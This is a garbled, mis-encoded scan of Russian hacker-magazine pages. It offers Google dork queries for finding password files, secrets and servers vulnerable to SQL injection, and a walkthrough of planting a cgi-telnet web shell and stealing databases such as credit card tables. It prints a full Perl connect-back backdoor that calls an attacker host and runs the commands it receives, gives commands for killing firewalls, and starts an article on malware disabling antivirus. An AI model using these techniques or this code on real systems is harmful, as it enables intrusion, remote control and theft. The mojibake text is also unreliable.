inurl:ipsec.secrets hholds sshared ssecrets - ñåêðåòíûå êëþ÷è
ORA-000921: uunexpected eend oof SSQL ccommand - ïîèñê SQL Injection â
Oracle
_DBSELECTERROR: SSELECT - ïîèñê SQL Injection â MySQL

ÈÍÒÅÐÅÑÍÛÅ ÇÀÏÐÎÑÛ



ïîìîùüþ Netcraft ÷åðåç Google îï-
ðåäåëèòü ñåðâåðû, çàïóùåííûå ïîä
IIS è Apache ñîîòâåòñòâåííî:

site:netcraft.com "OS, Web Server and
Hosting History" "Microsoft-IIS/5.0" 

site:netcraft.com intitle:That.Site.Running
"Apache"

Ñîãëàñèñü, çàáàâíî ïîëó÷àåòñÿ:
Netcraft ñëåäèò çà ñåðâåðàìè, Google
ñëåäèò çà Netcraft, à òû ñëåäèøü çà
Google. 

GOOGLE - ÇÀÌÅÍÀ XSPIDER
×àñòî, ïðî÷èòàâ îá î÷åðåäíîé

óÿçâèìîñòè â php-nuke èëè äðóãîì
íàñêâîçü äûðÿâîì ïðèëîæåíèè, çàäó-
ìûâàåøüñÿ: à êàê æå íàéòè ñåðâåðû ñ
ýòîé äûðêîé? Êîíå÷íî, çäåñü ìîãóò
ïîìî÷ü ðàçëè÷íûå CGI-ñêàííåðû, íî

îáû÷íî îíè âåñüìà ìåäëåííî ðàáîòà-
þò è íå î÷åíü áûñòðî îáíîâëÿþòñÿ. Â
îòëè÷èå îò íèõ Google ðàáîòàåò áåçîò-
êàçíî. Ïðåäïîëîæèì, ñåãîäíÿ ïîÿâè-
ëàñü èíôîðìàöèÿ î äûðêå â àäìèíè-
ñòðàòèâíîì èíòåðôåéñå PHP-Nuke
(www.security.nnov.ru/search/document.asp?doci
d=6748). Çàéäÿ íà Google è ââåäÿ çàï-
ðîñ inurl:admin.php "Administration
System Login", çà 0.36 ñåêóíäû ïîëó-
÷àåì 4300 ññûëîê íà ñàéòû, íà êîòî-
ðûõ íàâåðíÿêà óñòàíîâëåí PHP-Nuke.
Åùå íåìíîãî ïîðûñêàâ ïî
security.nnov.ru, íàõîäèì èíôîðìà-
öèþ îá SQL Injection â PostNuke
(www.security.nnov.ru/search/document.asp?doci
d=6779). Ïðèâû÷íî çàõîäèì íà Google è
ââîäèì çàïðîñ inurl:index.php?mod-
ule=subjects&func=viewpage&pageid.
Ùåëêàåì ïî ïåðâîé ññûëêå è, èçìå-
íèâ URL íà www.server/index.php?mod-

ule=subjects&func=viewpage&pageid=4
3, ïîëó÷àåì â îòâåò:

Âî âðåìÿ âûïîëíåíèÿ îïåðàöèè âîç-
íèêëà îøèáêà: _DBSELECTERROR:
SELECT postnuke_subpages.pageid ...
AND postnuke_subpages.pageid=43

È äàëåå SQL injection ñî âñåìè îñòà-
íîâêàìè.

Òàêæå Google ìîæåò èñïîëüçîâàòü-
ñÿ â êà÷åñòâå web-spider-ïðîãðàììû,
ñîñòàâëÿþùåé ñëåïîê ñîäåðæèìîãî
web-ñåðâåðà. Äëÿ ýòîãî äîñòàòî÷íî
ââåñòè çàïðîñ site:server.com, êîòî-
ðûé âûâåäåò âñå ñòðàíèöû, ïðîèíäåê-
ñèðîâàííûå Google íà ýòîì ñåðâåðå.
Â äàëüíåéøåì çàïðîñ ìîæíî óòî÷-
íÿòü, íàïðèìåð, ïîèñêàòü äèðåêòîðèè,
îòêðûòûå äëÿ ïðîñìîòðà
site:server.com intitle:index.of.

ÊÝØ GOOGLE
Èíîãäà ïîñëå êëèêà ïî ññûëêå â

ïîèñêîâèêå ñåðâåð âûäàåò îøèáêó
404 (ñòðàíèöà íå íàéäåíà). Îñîáåííî
áûâàåò îáèäíî, êîãäà ññûëêà âåäåò íà
ôàéë .htpasswd èëè åìó ïîäîáíûé :).
Â ýòîì ñëó÷àå íàñ ìîæåò âûðó÷èòü
êýø Google. Äåëî â òîì, ÷òî ïîèñêî-
âàÿ ìàøèíà õðàíèò êîïèè ðàíåå ïðî-
èíäåêñèðîâàííûõ ñòðàíèö, ÷åì ìîæíî
âîñïîëüçîâàòüñÿ äëÿ âîññòàíîâëåíèÿ
óäàëåííûõ ñ ñåðâåðîâ ôàéëîâ. 

Èíîãäà èíôîðìàöèÿ â êýøå Google
îòñóòñòâóåò, è òîãäà ìîæíî ïðèáåã-
íóòü ê äðóãèì ïîèñêîâûì ñåðâåðàì,
íàïðèìåð, Wayback Machine
(www.archive.org). Çäåñü ëåæèò ñîäåðæè-
ìîå web-ñåðâåðîâ öåëèêîì, è ýòî ïîç-
âîëÿåò óâèäåòü, êàê âûãëÿäåë òîò èëè
èíîé ñåðâåð â îïðåäåëåííîå âðåìÿ. Â
íàñòîÿùèé ìîìåíò Wayback Machine
ñîäåðæèò êîïèè áîëåå 30 ìèëëèàðäîâ
(!) web-ñòðàíèö íà÷èíàÿ ñ 1996 ãîäà. 

Âçëîì ñ ïîìîùüþ Google - äîâîëüíî
èíòåðåñíîå çàíÿòèå, ïîâûøàþùåå
ýôôåêòèâíîñòü ðàáîòû ñ èíòåðíåòîì.
Ïîèñê íîâûõ çàïðîñîâ íàïîìèíàåò ðå-
øåíèå êðîññâîðäà, êîãäà òû âûèñêè-
âàåøü íîâûå çàêîíîìåðíîñòè è ïûòà-
åøüñÿ ïåðåâåñòè èõ íà ÿçûê ïîèñêî-
âîé ìàøèíû. Èñïîëüçóÿ Google, òû
íåïðåìåííî îùóòèøü, êàêàÿ ìîùü
çàêëþ÷åíà â ýòîì íåêàçèñòîì, íà ïåð-
âûé âçãëÿä, ñåðâåðå.  E
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Åñëè òðåáó-
åìûé ôàéë
óæå ñòåðëè,
çàãëÿíè â
ìàøèíó
âðåìåíè -
www.archive.
org.

Èñïîëüçî-
âàíèå
Netcraft â
ñâÿçêå ñ
Google -
ïî÷òè ñòîï-
ðîöåíòíî
äåéñòâóþ-
ùèé ñïîñîá
îïðåäåëå-
íèÿ âåðñèè
÷óæîãî ñåð-
âåðà.

intitle:index.of master.passwd 
inurl:passlist.txt 
filetype:htpasswd htpasswd
filetype:xls username password email
filetype:properties inurl:db intext:password
filetype:inc intext:mysql_connect

ÑÏÎÑÎÁÛ ÏÎËÓ×ÅÍÈß ÏÀÐÎËÅÉ

Ðàáîòà ñ Google ìîæåò
áûòü àâòîìàòèçèðîâàíà ñ ïî-
ìîùüþ ðàçëè÷íûõ èíñòðó-
ìåíòîâ. Óòèëèòà GooScan,
óòÿíóòü êîòîðóþ ìîæíî ñ
http://johnny.ihackstuff.com,
àâòîìàòè÷åñêè ïîñûëàåò íå-
îáõîäèìûå çàïðîñû ê
Google, ïîçâîëÿÿ îáíàðó-
æèâàòü óÿçâèìûå ñåðâåðû. Îäíàêî ïðè åå èñïîëüçîâàíèè âîçíè-
êàåò âîïðîñ ëåãàëüíîñòè, ïîñêîëüêó Google òðåáóåò ïîëó÷åíèÿ
ðàçðåøåíèÿ íà èñïîëüçîâàíèå àâòîìàòè÷åñêèõ óòèëèò äëÿ ïî-
ñûëêè çàïðîñîâ.
Âåñüìà óäîáíàÿ âåùü - Google Toolbar (toolbar.google.com). Ýòî íå-
áîëüøàÿ óòèëèòà, ïîçâîëÿþùàÿ ïîñûëàòü çàïðîñû ê ïîèñêîâèêó
èç áðàóçåðà.

ÀÂÒÎÌÀÒÈÇÈÐÓÉ

Íàéäè èíòåðåñóþùèé òåáÿ ñåðâåð

Âåðñèÿ ñåðâåðà Çàïðîñ

Apache 1.3.0-1.3.9 Intitle:Test.Page.for.Apache It.worked! this.web.site!

Apache 1.3.11-1.3.26 Intitle:Test.Page.for.Apache seeing.this.instead

Apache 2.0 Intitle:Simple.page.for.Apache Apache.Hook.Functions

Apache SSL/TLS Intitle:test.page "Hey, it worked !" "SSL/TLS-aware" 

IIS server intitle:welcome.to intitle:internet IIS intitle:"Under construction" "does not cur-
rently have"

IIS 4.0 intitle:welcome.to.IIS.4.0

IIS 4.0 allintitle:Welcome to Windows NT 4.0 Option Pack

IIS 4.0 allintitle:Welcome to Internet Information Server

IIS 5.0 allintitle:Welcome to Windows 2000 Internet Services

IIS 5.1 (XP) allintitle:Welcome to Windows XP Server Internet Services

IIS 6.0 (2003) intitle:Under.Construction "Disabling Dynamic"

Netscape servers allintitle:Netscape Enterprise Server Home Page

Netscape server allintitle:Netscape FastTrack Server Home Page



èïè÷íàÿ îøèáêà àäìèíà: óñòà-
íîâèâ ôàåðâîë, îí çàáûâàåò
î âîçìîæíîé îïàñíîñòè. Îí
äóìàåò, ÷òî áðàíäìàóýð çàùè-
òèò åãî ñèñòåìó îò âòîðæåíèé

íà 100%. Íî òû-òî òàê íå äóìàåøü, ïðàâäà :)?
Èñïîëüçîâàâ âñåãî îäíó ðîêîâóþ îøèáêó íà
ïóáëè÷íîì ñåðâèñå, âçëîùèê ìîæåò âíåä-
ðèòüñÿ â ñèñòåìó è ñëåãêà ïîðóëèòü åé. Åñëè
æå ïðèñóòñòâèå ôàåðâîëà åãî ðàçäðàæàåò,
íè÷òî íå ïîìåøàåò âîîáùå âûðóáèòü åãî.
Èáî íåôèã ïîðòû çàêðûâàòü :).

ÏËÀÍ À: ËÀÇÅÉÊÈ ×ÅÐÅÇ WWW
Ñàìûé ïîïóëÿðíûé ñïîñîá îáõîäà ìåæ-

ñåòåâûõ ýêðàíîâ � èñïîëüçîâàíèå web-
øåëëà. Ýòîò ïðèåì àêòèâíî èñïîëüçóåòñÿ
ñðåäè *nix-õàêåðîâ è áûñòðî ïåðåêî÷åâàë ê
ôîðòî÷íûì âçëîìùèêàì. Ñóòü â ñëåäóþ-
ùåì. Çëîóìûøëåííèê íàõîäèò áàã, ïîçâî-
ëÿþùèé âûïîëíÿòü êîìàíäó. ×àñòî ýòî óÿç-
âèìûé ñêðèïò, ïëîõî ïåðåâàðèâàþùèé ïà-
ðàìåòðû, ðåæå � ñàìîïàëüíûé äâèæîê, óñ-
òàíîâëåííûé êðèâîðóêèì àäìèíèñòðàòî-
ðîì, èëè ôàòàëüíûé áàã â ñàìîì IIS (èëè
ïîðòèðîâàííîì Apache). 

Ïîñëå óñïåøíîé ýêñïëóàòàöèè àòàêóþùèé
ïîëó÷àåò ïðàâî âûïîëíèòü ëþáóþ êîìàíäó ñ
ïîëíîìî÷èÿìè web-ñåðâåðà. Íî, êàê ïðàâèëî,
äëÿ ïîëíîãî óäîâëåòâîðåíèÿ ýòîãî íåäîñòà-
òî÷íî � âçëîìùèê æåëàåò ïîäíÿòü ïðèâèëå-
ãèè äî ìàêñèìóìà, çàëèòü ôàéë, ñêà÷àòü öåí-
íóþ ÁÄ. Ê ñîæàëåíèþ, çàïóñòèòü òðîÿíåö
èëè îáû÷íûé áýêäîð íåðåàëüíî � â ñèñòåìå
óñòàíîâëåí ôàåðâîë, ôèëüòðóþùèé âñå ïîð-
òû, êðîìå ñèñòåìíûõ. Òàêîé ðàñêëàä âñòðå÷à-
åòñÿ î÷åíü ÷àñòî. Îáû÷íî íåãðàìîòíîìó
âçëîìùèêó ëåíü èñêàòü óïðàâó íà áðàíäìàó-
ýð, ïîýòîìó îí îñòàíàâëèâàåòñÿ íà WWW-
áðåøè è ïåðåõîäèò ê ïîèñêó íîâîé æåðòâû. 

Äëÿ îáõîäà æåñòêèõ ôèëüòðóþùèõ ïðàâèë
ïîäíèìàþòñÿ ïðàâà ïðÿìî ÷åðåç WWW. Äëÿ
ýòîãî ïðèäåòñÿ âîñïîëüçîâàòüñÿ êàêèì-íè-
áóäü ïðîåêòîì, êîòîðûé ïîääåðæèâàåò âû-
ïîëíåíèå êîìàíä, çàëèâêó è ñêà÷èâàíèå
ôàéëîâ ïðÿìî ÷åðåç áðàóçåð. Äîëãî èñêàòü
íå ïðèäåòñÿ, ñàìûé ëó÷øèé ñêðèïò - cgi-tel-
net.cgi. Îí âûïîëíåí â âèäå îäíîãî ôàéëà,
ïîääåðæèâàåò âñå íåîáõîäèìûå ôóíêöèè, à
òàêæå ñíàáæåí ìåõàíèçìîì àóòåíòèôèêàöèè.
Ñëîâîì, ëó÷øèé âûáîð õàêåðà. Èçíà÷àëüíî
cgi-telnet ïîääåðæèâàë òîëüêî *nix-ñåðâåðà,
íî âïîñëåäñòâèè ðàçðàáîò÷èêè àäàïòèðîâà-
ëè ñöåíàðèé è äëÿ âèíäîâûõ web-ñåðâåðîâ.

ÇÀËÈÂÀÅÌ, ÇÀÏÓÑÊÀÅÌ
Ïðåæäå ÷åì âûáðàòü ýòîò ñïîñîá îáõî-

äà, íóæíî óáåäèòüñÿ, ÷òî íà âèíäîâîé ìà-
øèíå óñòàíîâëåí Perl-èíòåðïðåòàòîð. ×òîáû
ïðîâåðèòü ýòî, íàäî ïîèñêàòü íà ñåðâåðå
ñöåíàðèè ñ ðàñøèðåíèåì .pl èëè .cgi. Åñëè
õîòÿ áû îäèí ñêðèïò ñóùåñòâóåò � èíòåðïðå-
òàòîð ðàáîòàåò êàê íàäî.

Òåïåðü íàäî ñëèòü ñöåíàðèé ñ www.rohitab.com/
cgiscripts/cgitelnet.zip íà ñâîé êîìïüþòåð, îòê-
ðûòü åãî â ëþáîì ðåäàêòîðå è ïîäãîòîâèòüñÿ
ê êîíôèãóðèðîâàíèþ cgi-telnet. Â ïåðâóþ
î÷åðåäü, íóæíî óñòàíîâèòü ñëîæíûé ïàðîëü
ïóòåì èçìåíåíèÿ ïåðåìåííîé $Password. Çà-
òåì ïåðåâåñòè ñêðèïò â âèíäîâûé ðåæèì ðà-
áîòû ($Winnt = 1). È, íàêîíåö, óâåëè÷èòü
òàéì-àóò, åñëè ïëàíèðóåòñÿ âûïîëíåíèå äëè-
òåëüíûõ îïåðàöèé: áýêàï áàçû, ïåðåíîñ êàòà-
ëîãîâ, ôîðìàòèðîâàíèå äèñêà ;) è ò.ï.

Ñàìîå âðåìÿ ïåðåíåñòè ãîòîâûé ê ðàáîòå
ñöåíàðèé íà êàêîé-íèáóäü FTP- èëè TFTP-
ñåðâåð. Ýòó çàäà÷ó � äîñòàâèòü ñêðèïò íà
âçëîìàííóþ ìàøèíó - ìîæíî âûïîëíèòü
ðàçëè÷íûìè ñïîñîáàìè, äóìàþ, íå ñòîèò ïå-

Ò

Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Ì àëîãðàìîòíîãî õàêåðà âñåãäà îñòàíàâëèâàåò ôàåðâîë. Åñëè òàêîé âçëîì-
ùèê íàøåë íåïðèêðûòóþ áðåøü â WWW-ñåðâåðå, íî çàòåì îáíàðóæèë, ÷òî

â ñèñòåìå óñòàíîâëåí áðàíäìàóýð, òî îí îòñòóïàåò. Òàê êàê íå çíàåò, ÷òî ñó-
ùåñòâóåò ìàññà ñïîñîáîâ óäàëåííîãî îáõîäà è âûêëþ÷åíèÿ ñåòåâîãî ýêðàíà. 
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ðå÷èñëÿòü èõ: äîñòàòî÷íî ïðî÷èòàòü
ëþáóþ çàïëåñíåâåëóþ ñòàòüþ îá
ýêñïëóàòèðîâàíèè Unicode-áàãà, è âñå
ñòàíåò ÿñíî. Ñêà÷èâàåì ôàéë, çàòåì
ïåðåìåùàåì åãî â êàòàëîã /cgi-bin
(ïóòü ê ñêðèïòîâîìó êàòàëîãó ìîæíî
óçíàòü ñ ïîìîùüþ êîìàíäû cd áåç
ïàðàìåòðîâ) è òðàâèì íà íåãî ñâîåãî
îñëèêà. Ïðè óäà÷íûõ îáñòîÿòåëü-
ñòâàõ çàãðóçèòñÿ ASCII-êàðòèíêà ñ ïî-
ëåì äëÿ ââîäà ïàðîëÿ. Çàáèâàåì ïà-
ðîëü, êîòîðûé  óêàçûâàëè ïðè ðåäàê-
òèðîâàíèè ôàéëà, è ìû âíóòðè!

Íà ýòîò ìîìåíò ìû èìååì ïîëíî-
öåííûé WWW-øåëë ñ âîçìîæíîñòüþ
ñêà÷èâàíèÿ è çàëèâêè ëþáîãî ôàé-
ëà. Íè÷òî íå ìåøàåò ñî÷èíèòü bat-
ôàéë, ïîäíèìàþùèé ïðàâà è çàïóñ-
êàþùèé õàêåðñêîå ïðèëîæåíüèöå.
Ìîæíî îáðàòèòüñÿ ê äàìïåðó mysql-
dump.exe, à çàòåì áûñòðåíüêî ñêà-
÷àòü òàáëèöû, íàïðèìå, ñ íîìåðàìè
êðåäèòíûõ êàðò êëèåíòîâ. Ñàìîå
ãëàâíîå, ÷òî íèêàêîé áðàíäìàóýð íå
âîñïðåïÿòñòâóåò íàì, à, ñëåäîâàòåëü-
íî, è àäìèí íå áóäåò òðåâîæèòüñÿ :).

ÏËÀÍ B: ÄÎÂÅÐÈÒÜÑß ÒÐÎßÍÖÓ
Áûâàåò, ÷òî ïî êàêèì-òî ïðè÷è-

íàì âçëîìùèê íå ìîæåò ïðèìåíèòü
cgi-telnet. Íà ñåðâåðå ìîæåò îòñóò-
ñòâîâàòü Perl, ïîääåðæêà èñïîëíå-
íèÿ ñöåíàðèåâ ÷åðåç web è ò.ï. Â
ýòîì ñëó÷àå íè÷åãî íå îñòàåòñÿ, êàê
íàïèñàòü ñâîé òðîÿíåö, îðãàíèçóþ-
ùèé connect back íà çàðàíåå îáúÿâ-
ëåííûé õîñò çëîóìûøëåíèêà.

Îáõîä ôàåðâîëà ñ ïîìîùüþ
connback äàâíî ïðèìåíÿåòñÿ â ýêñïëî-
èòàõ ïðîòèâ lsass è DCOM. Ñóòü ìåõà-
íèçìà â ñëåäóþùåì. Çàïóñêàÿ òðîÿ-
íåö, àòàêóþùèé àêòèâèðóåò ñïåöèàëü-
íóþ ïðîöåäóðó, êîòîðàÿ ñàìà ñîåäèíÿ-
åòñÿ ñ ïðîèçâîëüíûì õîñòîì è ðàçðå-
øàåò âûïîëíèòü ëþáóþ êîìàíäó íà
ñåðâåðå. Äàæå åñëè àäìèí óñòàíîâèë
ïðàâèëî, êîíòðîëèðóþùåå èñõîäÿùèé
òðàôèê, ôàåðâîë ïðîïóñòèò êîííåêò
ïî ïðè÷èíå òîãî, ÷òî ïîðîæäàåòñÿ îí
äîâåðåííûì WWW-ñåðâåðîì.

Â èíåòå ïî ýòîé òåìå ïî÷òè íè÷åãî
íåò, êðîìå ýêñïëîèòîâ ê äûðÿâûì ñåð-
âèñàì. Ïîýòîìó ïðîùå íàïèñàòü ñâîé
áýêäîð, îðãàíèçóþùèé connect back. Â
êà÷åñòâå ÿçûêà ïðîãðàììèðîâàíèÿ ÿ
áû âûáðàë Perl. Ïîòîì ìîæíî ïîðòè-
ðîâàòü ïðîåêò â óäîáíûé exe-ôàéë,
êîòîðûé çàïóñòèòñÿ äàæå áåç ïðèñóò-
ñòâèÿ èíòåðïðåòàòîðà.

Ñèñòåìà äîëæíà ñîäåðæàòü êëèåíò
è ñåðâåð. Êëèåíò áóäåò çàïóñêàòüñÿ ñ
óäàëåííîé (âçëîìàííîé) ìàøèíû, à
îò ñåðâåðà ïîòðåáóåòñÿ ëèøü æäàòü
ïîäêëþ÷åíèé íà ëîêàëüíîì êîìïüþ-
òåðå âçëîìùèêà. Íåñìîòðÿ íà íåêî-
òîðóþ çàïóòàííîñòü ðåàëèçîâàòü
ïðîåêò î÷åíü ïðîñòî, ê òîìó æå, îí
çàíèìàåò ìàëî ìåñòà. Èçó÷èâ èñõîä-
íèêè òðîÿíöà, áåç ïðîáëåì ìîæíî
íàïèñàòü àíàëîãè÷íóþ òóëçó íà
C/C++ èëè äàæå íà Delphi.

ÊËÈÅÍÒ ÂÑÅÃÄÀ ÏÐÀÂ!
Íà÷íåì ñ èçó÷åíèÿ êëèåíòà. Îí

áóäåò çàïóùåí íà óäàëåííîì ñåðâåðå.
Ïîñëå ñòàðòà ñêðèïò óéäåò â áýãðàóíä,
ïîäîæäåò óêàçàííîå ÷èñëî ñåêóíä, à
çàòåì ñîåäèíèòñÿ ñ ñåðâåðîì. ×óòü
ïîçæå ñöåíàðèé áóäåò æäàòü êîìàíäû
îò õàêåðà, à êàê äîæäåòñÿ, âûïîëíèò
åå è âåðíåò ðåçóëüòàò. Â ñëó÷àå åñëè
âçëîìùèê îòïðàâèë íåêîððåêòíûé
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Îáõîä ôàåðâîëà ñ ïîìîùüþ 
connback äàâíî ïðèìåíÿåòñÿ 

â ýêñïëîèòàõ ïðîòèâ lsass è DCOM.



çàïðîñ, êëèåíò âåðíåò òî÷íîå îïèñà-
íèå îøèáêè. Ïðîñìîòðè èñõîäíûé êîä
ñàìîé ãëàâíîé ÷àñòè âî âðåçêå, è ó òå-
áÿ îòïàäåò áîëüøèíñòâî âîïðîñîâ ïî
àëãîðèòìó ðàáîòû ñèñòåìû.

#!/usr/bin/perl
use IO::Socket; # Þçàåì ìîäóëü

IO::Socket
$host=�xakep.box.ru�; # Õîñò, ñ êîòîðûì

áýêäîð áóäåò ñîåäèíÿòüñÿ
$port=3344; # Óäàëåííûé ïîðò
$time=20; # Âðåìÿ âûæèäàíèÿ äî îñóùå-

ñòâëåíèÿ ñîåäèíåíèÿ 
$|++;  # Âûðóáèì áóôåðèçàöèþ
unless(fork) { # Óéäåì â áýãðàóíä

sleep($time); # Çàñûïàåì íà n-ñåêóíä
$sock=IO::Socket::INET-

>new("$host:$port") || die; # Ñîåäèíèìñÿ
èëè òèõî óìðåì

$true=1;
while($true) { # Ïîêà ñîêåò àêòèâåí,

æäåì êîìàíä îò õàêåðà
$buf=$sock->recv($cmd,128);
chomp($cmd);
if ($buf) {

$ready=`$cmd` || print $sock "$!\n";
# Åñëè ïðèøëà êîìàíäà, âûïîëíèì åå ëè-
áî îáðàáîòàåì îøèáêó

$sock->send("$ready"); # Âåðíåì
âûâîä îò âûïîëíåííîé êîìàíäû

} else {
$true=0; # Åñëè ñîêåò çàêðûëñÿ,

îáúÿâèì åãî ìåðòâûì
}

}
close($sock);  # È êîððåêòíî çàêðîåì

äåñêðèïòîð
}

Äëÿ íàñòðîéêè êëèåíòà íóæíî óêà-
çàòü êîððåêòíûé õîñò è ïîðò, à òàêæå
âûðóáèòü ñîáñòâåííûé ôàåðâîë (èíà-
÷å ñöåíàðèé íå ïðèêîííåêòèòñÿ ê óäà-
ëåííîé ìàøèíå).

Òåïåðü ñåðâåð. Åãî çàäà÷à � îòêðûòü
ïîðò è æäàòü ïîäêëþ÷åíèé, à çàòåì
èíòåðàêòèâíî îáðàáàòûâàòü âñå íåîá-
õîäèìûå õàêåðñêèå êîìàíäû. ×òî êà-
ñàåòñÿ êîäà, òî îí î÷åíü ïîõîæ íà
êëèåíòñêóþ ÷àñòü, ïîýòîìó, íàäåþñü, ñ
íèì âîïðîñîâ âîçíèêíóòü íå äîëæíî.
Ïîòðåáóåòñÿ óñòàíîâèòü êîððåêòíûé
ïîðò, êîòîðûé ñîâïàäàåò ñ ÷èñëîì, çà-
ïèñàííûì â client.pl.

Îñòàëîñü îòêîìïèëèðîâàòü êëè-
åíò. Ñêà÷èâàåì êîíâåðòåð perl2exe
ñ www.indigostar.com/download/p2x-8.00-
Win32.zip è ïåðåäàåì åìó client.pl â
êà÷åñòâå ïàðàìåòðà. Åñëè âñå â ïî-
ðÿäêå, ìû ïîëó÷èì ïîëíîöåííîå
ïðèëîæåíèå, êîòîðîå ëåãêî çàïóñ-
òèòñÿ íà ëþáîé ïëàòôîðìå. Ïîñëè
çàëèâêè êëèåíòà íà âçëîìàííóþ
ìàøèíó è çàïóñêà ìîæíî íàñëàæ-
äàòüñÿ ðåçóëüòàòîì. 

ÏËÀÍ Ñ: ÑÌÎÒÐÈ ÏËÀÍÛ A È B
Ýòî îñíîâíûå ñïîñîáû îáõîäà ãëó-

ïûõ ôàåðâîëîâ, ïðèìåíÿåìûå ñðåäè
õàêåðîâ-ôîðòî÷íèêîâ. Ïîìíè, ÷òî åñ-
ëè íàéòè áàã íà WWW è óñïåøíî åãî
ïðîýêñïëóàòèðîâàòü, òî îáîéòè áðàíä-
ìàóýð íå ñîñòàâèò áîëüøîãî òðóäà.
Èñõîäíèêè connback-ïðîåêòà ëåæàò íà
http://kamensk.net.ru/forb/1/x/connback-bd.zip.
Íî ïîìíè, ÷òî ýòîò ìàòåðèàë íàïèñàí
òîëüêî â öåëÿõ îçíàêîìëåíèÿ, à âñþ
îòâåòñòâåííîñòü çà âîçìîæíûå ïðî-
èçâåäåííûå âçëîìû íåñåøü òû è
òîëüêî òû. E
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Åñëè ñîç-
äàòü â êà-
òàëîãå /cgi-
bin ñöåíà-
ðèé ñ ðàñ-
øèðåíèåì
bat, îí áåç
ïðîáëåì
âûïîëíèòñÿ
ïðè îáðà-
ùåíèè ê íå-
ìó ñ WWW.

Åñëè èíòå-
ðïðåòàòîð
Perl îòñóò-
ñòâóåò íà
óäàëåííîì
ñåðâåðå,
ìîæíî èñ-
ïîëüçîâàòü
Perl2exe.

Íå çàáóäü èçìåíèòü õîñò è ïîðò

Óñïåøíîå óêðîùåíèå ôàåðâîëà

Åñëè âçëîìùèê îáëàäàåò ïðèâèëåãèÿìè àäìèíèñòðàòîðà è èìååò
ïðàâî âûïîëíÿòü êîìàíäû, íè÷òî íå ìåøàåò åìó óáèòü ôàåðâîë.
Êîãäà ïàêåòû ôèëüòðóåò ïåðñîíàëüíûé ôàåðâîë, åãî ïðîöåññ âåð-
òèòñÿ â ñïåöèàëüíîé òàáëèöå. Óáèòü ñëóæáó ìîæíî ñ ïîìîùüþ êî-
ìàíäû tskill èìÿ_ôàåðâîëà, ïðåäâàðèòåëüíî óçíàâ èìÿ ëèáî èäåí-
òèôèêàòîð óòèëèòîé tasklist (òîëüêî äëÿ WinXP). 

Áûâàåò, ÷òî ôàåðâîë çàãðóæåí êàê ñåðâèñ. Â ýòîì ñëó÷àå íàéäè
íóæíóþ ñëóæáó, ïðîïàðñèâ âûâîä «net start», à çàòåì ïðèáåé ñåð-
âèñ çàïðîñîì «net stop íàéäåííîå_èìÿ».

ÆÅÑÒÎÊÎÅ ÓÁÈÉÑÒÂÎ



Ýêñêëþçèâíûå 
èãðû

Êîëëåêöèè
ôèãóðîê 
èç èèãð

Êîëëåêöèîííûå
íàáîðû

Èãðàé
ïðîñòî!

GamePost 
WWoorrlldd ooff WWaarrccrraafftt
CCoolllleeccttoorr''ss EEddiittiioonn 

$149,99

HHaallff-LLiiffee 22
CCoolllleeccttoorr''ss EEddiittiioonn

$149,99

SSiimmss 22 
DDVVDD EEddiittiioonn

$79,99

ÍÅ ÕÂÀÒÀÅÒ ×ÅÃÎ-ÒÎ

ÎÑÎÁÅÍÍÎÃÎ?

Ó ÍÀÑ ÏÎËÍÎ

ÝÊÑÊËÞÇÈÂÀ 
* *

*

*

Xbox
$239.99

WarCraft 
Action FFigure: 
Grom HellScream $$4422,,9999 



Àáàíîâ Ãåîðãèé aka Zero Ice (zeroice@yandex.ru)

Å ùå ×àðëüç Äàðâèí ïèñàë î åñòåñòâåííîì îòáîðå. Îäíàêî, ñ òåõ ïîð êàê ó÷åíûé íà ñâîåì ìîãó÷åì êîðàáëå «Áèãëü»
áîðîçäèë ìèðîâîé îêåàí, ïðîøëî ìíîãî âðåìåíè, ïîÿâèëèñü êîìïüþòåðû, íà íèõ çàâåëàñü ðàçíàÿ æèâíîñòü, è

æèâíîñòü ýòà� äà, òîæå íà÷àëà áîðîòüñÿ çà âûæèâàíèå, êîòîðîå ïðèâîäèò ê ýâîëþöèè âèäà :).

ÀÍÒÈÀÍÒÈÂÈÐÓÑ
ÊÀÊ ÁÎÐÎÒÜÑß Ñ ËÅ×ÅÁÍÛÌ ÑÎÔÒÎÌ

îâåäåíèå êàæäîé âðå-
äîíîñíîé ïðîãðàììû
ñòðîãî èíäèâèäóàëüíî,
è ñ êàæäîé íîâîé ðàç-
ðàáîòêîé íàáëþäàòü çà

âûêðóòàñàìè ïðîãðàììèñòîâ ñòàíî-
âèòñÿ âñå èíòåðåñíåé è èíòåðåñíåé.
Ðåäêî ìîæíî âñòðåòèòü îäèíàêîâûé
íàáîð ìåòîäîâ áîðüáû ñ àíòèâèðóñà-
ìè è ñîêðûòèÿ ñâîåãî ïðèñóòñòâèÿ íà
êîìïüþòåðå ïîëüçîâàòåëÿ.

Ñàìûì ïðîñòûì è äåéñòâåííûì ìå-
òîäîì âûæèâàíèÿ ÿâëÿåòñÿ ïðÿìîå
óáèéñòâî ïðèòèâíèêà. Òðóäíî íàéòè
ñîâðåìåííîãî ÷åðâÿ, êîòîðûé íå äåð-
æàë áû ó ñåáÿ äëèííþùèé ñïèñîê
èìåí çàïóñêàåìûõ ôàéëîâ ñàìûõ
ðàñïðîñòðàíåííûõ àíòèâèðóñîâ è ôà-
åðâîëîâ. Êàê òîëüêî âðåäîíîñíàÿ
ïðîãðàììà ïðÿ÷åòñÿ îò ïîëüçîâàòåëÿ
èç ñïèñêà �Äèñïåò÷åðà çàäà÷� èëè
ëþáîé äðóãîé àíàëîãè÷íîé ïðîãðàì-
ìû ïóòåì óñòàíîâêè ãëîáàëüíîãî õóêà
(îáû÷íî WH_GETMESSAGE) è ïåðåõ-
âàòà ôóíêöèé, îòâåòñòâåííûõ çà ïîëó-
÷åíèÿ ñïèñêà çàïóùåííûõ ïðîöåññîâ,
èëè (÷òî â ïîñëåäíåå âðåìÿ âñòðå÷à-
åòñÿ ÷àùå) ïðèêðåïëÿÿñü ê êàêîìó-íè-
áóäü ïðîöåññó â âèäå ïëàãèíà (99%
ðåãèñòðèðóþòñÿ êàê Browser Helper
Object èëè Extension ê Internet
Explorer), íà÷èíàåòñÿ ñåðüåçíàÿ èãðà.
Ïåðâûì øàãîì âðåäîíîñíîé ïðîãðàì-
ìû ñòàíîâèòñÿ îïðåäåëåíèå ïðîòèâ-
íèêà. Â ñòàðûå âðåìåíà ìîæíî áûëî
ïðîñòî ïîëó÷èòü ñïèñîê ïðîöåññîâ è
óñòðàíèòü àâåðà. Íî âðåìåíà òå óøëè,
è òåïåðü àíòèâèðóñû ÷àñòî ïðåäñòàþò
